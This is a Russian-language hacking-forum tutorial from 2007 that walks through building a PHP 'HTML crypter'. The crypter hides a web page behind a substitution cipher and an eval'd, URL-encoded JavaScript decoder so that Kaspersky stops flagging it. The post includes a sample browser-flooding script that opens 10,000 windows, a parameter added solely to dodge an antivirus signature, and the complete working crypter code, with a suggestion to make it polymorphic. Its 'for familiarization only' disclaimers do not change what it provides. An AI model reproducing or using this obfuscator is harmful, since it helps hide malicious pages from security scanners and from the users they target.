ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

html-криптор на php
  #1  
Старый 01.07.2007, 20:24
Аватар для Ntkiller
Ntkiller
Новичок
Регистрация: 30.06.2007
Сообщений: 5
Провел на форуме:
19112

Репутация: 27
По умолчанию html-криптор на php

Внимание:
Статья предназначена только для ознакомления, автор не несет ответственность за использование и распространение
скриптов из этой статьи.

Сегодня мы напишем html-криптор на php.

Зачем это может пригодиться?
Это может пригодится, если нужно скрыть исходный код страницы,
или если антивирусу не нравится ваша страничка, а вы хотите чтобы он забыл о ней.
Например:


Код:
<script language = javascript>
function с(){
var i=1;
while (i < 10000){
window. open("about:blank");
i++;
}
}
c();
</script>
Сохраните это в файл 1.html и каспера сразу закричит, что это запускать нельзя.

Итак приступим:

Для начала нам нужно загрузить файл в переменную

Код:
$file=join('',file('in.html'));
Затем нам нужно записать содержимое файла в одну строчку

$file=str_replace("\r\n",'',$file);
$file=str_replace("\n",'',$file);

Теперь в переменной $file находится содержимое in.html

Затем его надо зашифровать, для этого создадим функцию шифрования:

Код:
function a($n)
{
	$q='';
	$e='';
	$p="OD&:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-{jv!Pk|r1mnYU}qV7/;pF]sXG=ILtQJ0u'2Md(4*";
	for($l=0;$l<strlen($n);$l++)
	{
  $o=$n[$l];
  $m=strpos($p,$o);
  if($m>-1)
  {
  	$z=(($m+1)-1);
  	if($z==79)
  	{
    $z =0;
  	}
  	$q .= $p[$z+1];
  } else {
  	$q.=$o;
  }
	}
	return $q;
}
Шифрование происходит следующим образом: каждый символ шифруемого кода ищется в ключе, и если находится то заменяется на следующий символ ключа.

Код:
$file=a($file);//эта строка вызывает функцию шифрования
Теперь нам нужен расшифровщик на javascript

Код:
function decrypt(n)
{
	var l,ch,ind,q="",key="OD&:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-{jv!Pk|r1mnYU}qV7/;pF]sXG=ILtQJ0u\'2Md(4*";
	for(l=0;l<n.length;l++)
	{
  ch=n.charAt(l);
  ind=key.indexOf(ch);
  if(ind>-1)
  {
  	if(ind==0)
  	{
    ind =79
  	}
  	q+=key.charAt(ind-1)
  } else {
  	q+=ch
  }
	};
document.write(q)
}
Принцип действия я думаю понятен.

Поместим расшифровщик в переменную $decrypt

Также для работы криптора нужен инициализатор:

Код:
function load(code,dfunc)
{
	eval(dfunc);
	decrypt(code);
}
Но похожий метод шифрования использовался в каком-то черве и каспера
громко ругается на этот кусок кода, поэтому добавим еще один параметр
инициализатору:

Код:
function load(code,dfunc,anticasp)
{
	eval(dfunc);
	decrypt(code);
}
Ему мы передадим в параметрах зашифрованый код и код расшифровщикаю

Для большей скрытности и усложнения анализа кода переведем исходник расшифровщика в шестнадцатиричный формат
функцией urlencode,после этого заменим знаки плюса на пробелы.
(это связано с тем, что urlencode выдает код, в котором вместо пробелов плюсы)

Код:
$decrypt=urlencode($decrypt);
$decrypt=str_replace('+',' ',$decrypt);
В данный момент в переменной $decrypt хранится расшифровщик, а в переменной $file зашифрованый файл, но в переменной $file
есть одинарные кавычки, а они не дадут работать инициализатору (параметры ему будут передаваться тоже в одинарных кавычках),
заменим их на \'

Код:
$file=str_replace("'","\'",$file);
Нам осталось лишь сформировать исходный код зашифрованой страницы:

Код:
$cont="<script>function load(code,dfunc,anticasp){eval(dfunc);decrypt(code);}load('".$code."',unescape('".$decrypt."'));</script>";
Исходный код станички сейчас находится в переменной $cont. В нем описывается функция инициализатора,
затем инициализатору передаются зашифрованая информация и код расшифровщика, который преобразуется в обычный текст,
расшифровщик eval'ится и запускается функция декодирования, находящаяся в нем, которая уже выводит расшифрованую информацию.


Последнее, что нам нужно сделать - записать в файл исходный код страницы:

Код:
$file=fopen('out.htm','w');
fputs($file,$cont);
fclose($file);
Вот полный код криптора:

Код:
<?
function a($n)
{
	$p="OD&:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-{jv!Pk|r1mnYU}qV7/;pF]sXG=ILtQJ0u'2Md(4*";
	$q='';
	$e='';
	for($l=0;$l<strlen($n);$l++)
	{
  $o=$n[$l];
  $m=strpos($p,$o);
  if($m>-1)
  {
  	$z=(($m+1)-1);
  	if($z==79)
  	{
    $z =0;
  	}
  	$q .= $p[$z+1];
  } else {
  	$q.=$o;
  }
	}
	return $q;
}
$file=join('',file('in.html'));
$file=str_replace("\r\n",'',$file);
$file=str_replace("\n",'',$file);
$file=a($file);
$decrypt="function decrypt(n){var l,ch,ind,q=\"\",key=\"OD&:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-{jv!Pk|r1mnYU}qV7/;pF]sXG=ILtQJ0u\'2Md(4*\";for(l=0;l<n.length;l++){ch=n.charAt(l);ind=key.indexOf(ch);if(ind>-1){if(ind==0){ind =79}q+=key.charAt(ind-1)} else {q+=ch}};document.write(q)}";
$decrypt=urlencode($decrypt);
$decrypt=str_replace('+',' ',$decrypt);
$file=str_replace("'","\'",$file);
$cont="<script>function load(code,dfunc,anticasp){eval(dfunc);decrypt(code);}load('".$file."',unescape('".$decrypt."'));</script>";
$file=fopen('out.htm','w');
fputs($file,$cont);
fclose($file);
?>
Напоследок зашифруем код из начала статьи и убедимся, что он работает, а каспера молчит.

В данном крипторе можно многое доработать, например сделать шифрование каждый раз разным ключом, добавить полиморфный движок,
но это я оставляю вам.
Криптор тестировался на ИЕ(Предупреждение) и Опере(Ok), Фаерфоксе(Ok).

При копировании статьи или ее частей ссылка на автора объязательна. Автором являюсь я(ntkiller)
Впервые опубликована на http://forum.pro-hack.ru/st2452.html Jun 9 2006

P.S:Все комментарии из шифруемого скрипта надо удалять - иначе не работает.
P.P.S:Повторяю, что статья предназначена только для ознакомления - не надо шифровать вредоносный код и впаривать
его другим людям.
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP, PERL, MySQL, JavaScript 186 21.02.2010 02:41
Конвергенция Html и Xhtml [53x]Shadow Чужие Статьи 0 20.04.2007 21:31
На PHP, как на "Новые ворота"... Mertvii-Listopad Чужие Статьи 7 18.09.2006 12:42
Безопасность в Php, Часть Iii k00p3r Чужие Статьи 0 11.07.2005 19:02
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ